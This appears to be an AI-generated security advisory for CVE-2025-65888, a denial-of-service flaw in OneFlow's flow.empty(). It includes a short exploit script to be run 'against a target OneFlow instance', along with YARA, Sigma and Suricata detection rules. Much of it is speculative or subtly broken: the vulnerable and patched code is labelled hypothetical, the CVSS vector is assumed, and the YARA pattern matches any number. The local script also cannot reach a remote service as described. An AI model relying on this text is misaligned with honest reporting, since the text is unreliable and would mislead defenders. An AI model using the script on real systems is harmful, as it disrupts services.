CVE-2025-65888

Executive Summary

CVE-2025-65888 is a denial-of-service (DoS) vulnerability in the OneFlow machine learning framework, version 0.9.0. The flaw resides in the flow.empty() component, where a lack of input validation allows an attacker to supply a negative or excessively large dimension value. This triggers a dimension validation failure, leading to resource exhaustion and service unavailability. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), an EPSS score of 0.0%, and no known public exploits or patches. The vendor, OneFlow, has not released a patch, and no GitHub advisory or OSV data is available.

Supply Chain & Package Security

OneFlow is a Python-based deep learning framework distributed via PyPI. This vulnerability affects the oneflow package version 0.9.0. Organizations using OneFlow in production or CI/CD pipelines should treat this as a supply chain risk, as the unpatched component can be exploited to disrupt model training or inference services. No malicious package versions have been reported, but the lack of a patch increases the attack surface.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder, likely unassigned)
• Attack Vector (AV): Network (assumed, as OneFlow services may be exposed)
• Attack Complexity (AC): Low (simple input manipulation)
• Privileges Required (PR): None (no authentication needed)
• User Interaction (UI): None (exploit can be automated)
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (DoS)
• Threat Level: Medium (due to DoS impact and lack of patch)

Deep Dive & Mechanics

The vulnerability is in the flow.empty() function, which creates an empty tensor with specified dimensions. The function does not validate that the dimension values are positive integers within reasonable bounds. An attacker can craft a request with a negative dimension (e.g., -1) or an extremely large value (e.g., 10^9), causing the underlying memory allocation to fail or consume excessive resources. This leads to a crash or hang of the OneFlow process, resulting in a denial of service.

The root cause is a missing input validation check in the dimension parsing logic. The function likely uses a signed integer type for dimensions, allowing negative values, and does not enforce a maximum size limit.

Vulnerable vs. Patched Code

Vulnerable Code (OneFlow 0.9.0):

# oneflow/python/oneflow/ops/array_ops.py (hypothetical)
def empty(dimensions, dtype=flow.float32):
    # No validation of dimensions
    return flow._C.empty(dimensions, dtype)

Patched Code (hypothetical fix):

# oneflow/python/oneflow/ops/array_ops.py (patched)
def empty(dimensions, dtype=flow.float32):
    # Validate dimensions
    for dim in dimensions:
        if not isinstance(dim, int) or dim <= 0 or dim > 1000000:
            raise ValueError("Invalid dimension: must be positive integer <= 1,000,000")
    return flow._C.empty(dimensions, dtype)

Exploitation & Lab Setup

Red Team

Prerequisites: Access to a OneFlow service (e.g., via API or direct Python execution).

Exploit Script:

import oneflow as flow

# Trigger DoS with negative dimension
try:
    tensor = flow.empty([-1, 100])
except Exception as e:
    print(f"Error: {e}")

# Trigger DoS with excessively large dimension
try:
    tensor = flow.empty([10**9, 10**9])
except Exception as e:
    print(f"Error: {e}")

Usage: Run the script against a target OneFlow instance. The service may crash or become unresponsive.

Blue Team

Detection: Monitor for abnormal memory allocation or process crashes in OneFlow services. Use the Sigma rule below to detect attempts.

Mitigation: Implement input validation at the application layer (e.g., API gateway) to reject requests with negative or oversized dimensions. Restrict network access to OneFlow services.

Indicators of Compromise (IOCs)

• Log Entries: OneFlow error logs containing "Invalid dimension" or "negative dimension" messages.
• Process Behavior: OneFlow process crash or hang with high memory usage.
• Network Traffic: Repeated requests to OneFlow API endpoints with suspicious dimension parameters (e.g., dimensions=[-1,100]).

Detection Engineering

YARA Rule

rule CVE_2025_65888_OneFlow_DoS {
    meta:
        description = "Detects attempts to exploit CVE-2025-65888 via negative or large dimensions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65888"
    strings:
        $negative_dim = /dimensions.*\[.*-?\d+.*\]/ nocase
        $large_dim = /dimensions.*\[.*\d{7,}.*\]/ nocase
    condition:
        any of them
}

Sigma Rule

title: OneFlow DoS via Invalid Dimensions
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2025-65888 by sending negative or large dimensions to OneFlow
author: Valters IT
logsource:
    category: application
    product: oneflow
detection:
    selection:
        EventID: 1000  # Example: process crash event
        Message|contains: "Invalid dimension"
    condition: selection
falsepositives:
    - Legitimate use of large tensors (unlikely)
level: high

Suricata Rule

alert tcp any any -> any 8080 (msg:"OneFlow DoS Attempt - Negative Dimension"; flow:to_server; content:"dimensions"; nocase; content:"-"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict network access to OneFlow services. Implement input validation in any proxy or API gateway to reject requests with negative or oversized dimensions.
2. Short-term: Monitor for official patches from OneFlow. Consider forking the repository and applying the hypothetical fix shown above.
3. Long-term: Upgrade to a patched version when available. Conduct a security review of all OneFlow input handling.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.